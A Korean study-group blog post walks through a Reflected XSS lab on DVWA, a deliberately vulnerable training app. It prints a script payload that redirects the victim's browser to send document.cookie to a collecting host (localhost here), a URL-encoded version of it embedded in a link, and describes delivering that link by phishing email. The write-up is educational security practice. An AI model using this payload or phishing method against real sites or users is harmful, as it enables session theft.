TeamH4C

[빡공팟 5기] W5 : DVWA 실습 - Reflected XSS

이유갬 2022. 10. 23. 02:24

[Reflected XSS 공격의 발생]

사용자의 입력 값을 받고 되돌려 주는 곳에서 발생한다. -> 웹 사이트에서 검색 했을 때 검색 내용을 보여주는 경우가 있다.

해커가 악의적인 스크립트를 포함한 URL 을 작성하고 이용자가 해당 URL 을 눌렀을 때 악의적인 스크립트가 실행되면서

의도치 않은 행위를 수행하게 된다. -> 굳이 서버까지 갈 필요가 없다.

 

[실습 내용]

Reflected XSS 를 실습해보자!


[초기 화면]

- 사용자의 이름을 입력받으면 그대로 출력하는 기능이 존재한다.

- 사용자의 입력 값을 받을 때 항상 주의해야 할 점은 사용자 입력값을 전적으로 신뢰한다는 것이다.

- 스크립트문을 그대로 입력받으면 그대로 출력하는지 스크립트문을 넣어보았다.

- 그대로 스크립트문이 출력되는 것을 볼 수 있다.

- 이렇게 사용자의 입력 값을 되돌려 주는 곳에서 취약점이 발생한다는 사실을 알았다.

- 그렇다면 해당 취약점을 이용하여 어떻게 이용자의 쿠키를 탈취하고 URL 을 어떤식으로 누르게 할 수 있을까?

<script>document.location='http://127.0.0.1/cookie?'+document.cookie</script>

- 우선 검색 창에 해당 스크립트문을 삽입한다.

- 에러 메시지가 뜨는데 여기서 서버 로그를 확인해보았다.

- 서버 로그를 확인하는 tail -f 명령어도 알아두도록 하자! (파일의 마지막 10줄을 읽을 수 있으며 -f 옵션을 사용하면 실시간으로 확인 할 수 있다.)

- 이렇게 쿠키를 획득할 수 있었다.

- 만약 location.href 에 들어있는 주소가 해커의 주소였다면 해커가 쿠키를 획득했을 것이다.

- 이제 피싱 메일을 보내서 확인해보자.

http://127.0.0.1/vulnerabilities/xss_r/?name=leeyu#

- 일단 사이트의 주소를 복사한다.

<script>document.location%3D'http://127.0.0.1/cookie%3F'%2Bdocument.cookie</script>

- 그리고 뒤에 해당 스크립트문을 넣는다.

- 중간에 인코딩 문자는 지메일에서 메일을 보낼 경우 url 인코딩을 거쳐야 되기 때문이다.

- 이렇게 Link 글자에 URL 을 삽입했다.

- 그리고 해당 링크를 누르면 이렇게 오류 페이지가 뜨는데 한번 로그를 살펴보자.

- 성공적으로 쿠키를 탈취했다.

- 이게 바로 스크립트에 취약한 페이지의 URL 에 악의적인 스크립트를 삽입해서 만든 URL 링크를 클릭하여 사용자가 쿠키를 탈취당하는 것이다.